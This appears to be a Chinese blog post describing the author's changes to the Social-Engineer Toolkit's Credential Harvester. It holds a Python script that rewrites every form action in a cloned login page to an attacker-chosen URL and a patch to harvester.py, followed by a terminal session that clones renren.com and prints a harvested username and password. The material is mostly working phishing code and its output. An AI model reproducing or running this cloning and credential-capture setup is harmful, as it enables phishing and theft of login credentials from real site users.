Credential Harvester的脚本修改

昨天测试出现乱码。今天晚上调试,修改了一下。

#!/usr/bin/python
# Filename: ModifyFormAction.py

import sys
import os
from pyquery import PyQuery as pq

def ModifyFormAction(htmlPath, url):
    if not os.path.isfile(htmlPath):
        print "%s is not a file" % htmlPath
        return
    d = pq(filename=htmlPath, parser='html')
    node = d('meta[http-equiv="Content-Type"]')
    contentType = node.attr("http-equiv")
    content = node.attr("content")
    meta = '<meta http-equiv="%s" content="%s" />' % (contentType, content)
    forms = d('form')
    for i in range(0, len(forms)):
        forms.eq(i).attr("action", url)
        
    submits = d('input[type="submit"]')
    for i in range(0, len(submits)):
        onclick = "document.forms[%d].submit();" % i
        submits.eq(i).attr("onclick", onclick) 

    html = d.outerHtml().encode('utf-8')
    htmlArr = html.split("<head>")
    newHtml = htmlArr[0] + "<head>" + meta + htmlArr[1];
    f = file(htmlPath, 'w')
    f.write(newHtml)
    f.close()
    print "Modified successfully"

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print "Usage: htmlPath url"
    else:
        ModifyFormAction(sys.argv[1], sys.argv[2])

还要修改harvester.py,其中某处修改为:

                fileopen=file("src/program_junk/site.template","r").readlines()
                for line in fileopen:
                        line=line.rstrip()
                        match=re.search("URL=",line)
                        if match:
                                RAW_URL=line.replace("URL=", "")
                                URL=line.replace("URL=http://", "")
                                URL=line.replace("URL=https://", "")
                                counter=1
                                break
                        if counter== 0: URL=''

原来是没有break的。这样,就没有乱码,也能返回到原来的页面了,但是还有个问题,就是没有进行登录操作。今天太晚了,以后再改。


root@bt:/pentest/exploits/set# ./set


                   ..######..########.########
                   .##....##.##..........##...
                   .##.......##..........##...
                   ..######..######......##...
                   .......##.##..........##...
                   .##....##.##..........##...
                   ..######..########....##...  

  [---]        The Social-Engineer Toolkit (SET)         [---]        
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]        Development Team: JR DePre (pr1me)        [---]
  [---]        Development Team: Joey Furr (j0fer)       [---]
  [---]        Development Team: Thomas Werth            [---]
  [---]        Development Team: Garland                 [---]
  [---]                  Version: 3.6                    [---]
  [---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---]
  [---]        Report bugs: [email protected]         [---]
  [---]         Follow me on Twitter: dave_rel1k         [---]
  [---]       Homepage: https://www.trustedsec.com       [---]

   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..
    
    Join us on irc.freenode.net in channel #setoolkit

  The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1


                                               
                    :::===  :::===== :::====
                    :::     :::      :::====
                     =====  ======     ===  
                        === ===        ===  
                    ======  ========   ===  


  [---]        The Social-Engineer Toolkit (SET)         [---]        
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]        Development Team: JR DePre (pr1me)        [---]
  [---]        Development Team: Joey Furr (j0fer)       [---]
  [---]        Development Team: Thomas Werth            [---]
  [---]        Development Team: Garland                 [---]
  [---]                  Version: 3.6                    [---]
  [---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---]
  [---]        Report bugs: [email protected]         [---]
  [---]         Follow me on Twitter: dave_rel1k         [---]
  [---]       Homepage: https://www.trustedsec.com       [---]

   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..
    
    Join us on irc.freenode.net in channel #setoolkit

  The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 2

 The Web Attack module is  a unique way of utilizing multiple web-based attacks
 in order to compromise the intended victim.

 The Java Applet Attack method will spoof a Java Certificate and deliver a 
 metasploit based payload. Uses a customized java applet created by Thomas
 Werth to deliver the payload.

 The Metasploit Browser Exploit method will utilize select Metasploit
 browser exploits through an iframe and deliver a Metasploit payload.

 The Credential Harvester method will utilize web cloning of a web-
 site that has a username and password field and harvest all the 
 information posted to the website.

 The TabNabbing method will wait for a user to move to a different
 tab, then refresh the page to something different.

 The Man Left in the Middle Attack method was introduced by Kos and 
 utilizes HTTP REFERER's in order to intercept fields and harvest 
 data from them. You need to have an already vulnerable site and in-
 corporate <script src="http://YOURIP/">. This could either be from a
 compromised site or through XSS.

 The Web-Jacking Attack method was introduced by white_sheep, Emgent 
 and the Back|Track team. This method utilizes iframe replacements to 
 make the highlighted URL link to appear legitimate however when clicked 
 a window pops up then is replaced with the malicious link. You can edit
 the link replacement settings in the set_config if its too slow/fast.

 The Multi-Attack method will add a combination of attacks through the web attack
 menu. For example you can utilize the Java Applet, Metasploit Browser,
 Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
 all at once to see which is successful.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Man Left in the Middle Attack Method
   6) Web Jacking Attack Method
   7) Multi-Attack Web Method
   8) Victim Web Profiler
   9) Create or import a CodeSigning Certificate

  99) Return to Main Menu

set:webattack>3

 The first method will allow SET to import a list of pre-defined web 
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.1.11
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:www.renren.com

[*] Cloning the website: http://www.renren.com
[*] This could take a little bit...
Modified successfully

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[!] I have read the above message.

      Press <return> to continue

[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
192.168.1.142 - - [28/Apr/2013 05:23:20] "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: [email protected]
POSSIBLE PASSWORD FIELD FOUND: password=yang_pass
PARAM: icode=
PARAM: origURL=http://www.renren.com/home
PARAM: domain=renren.com
PARAM: key_id=1
POSSIBLE USERNAME FIELD FOUND: captcha_type=web_login
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

Credential Harvester的脚本修改_第1张图片

你可能感兴趣的:(Credential Harvester的脚本修改)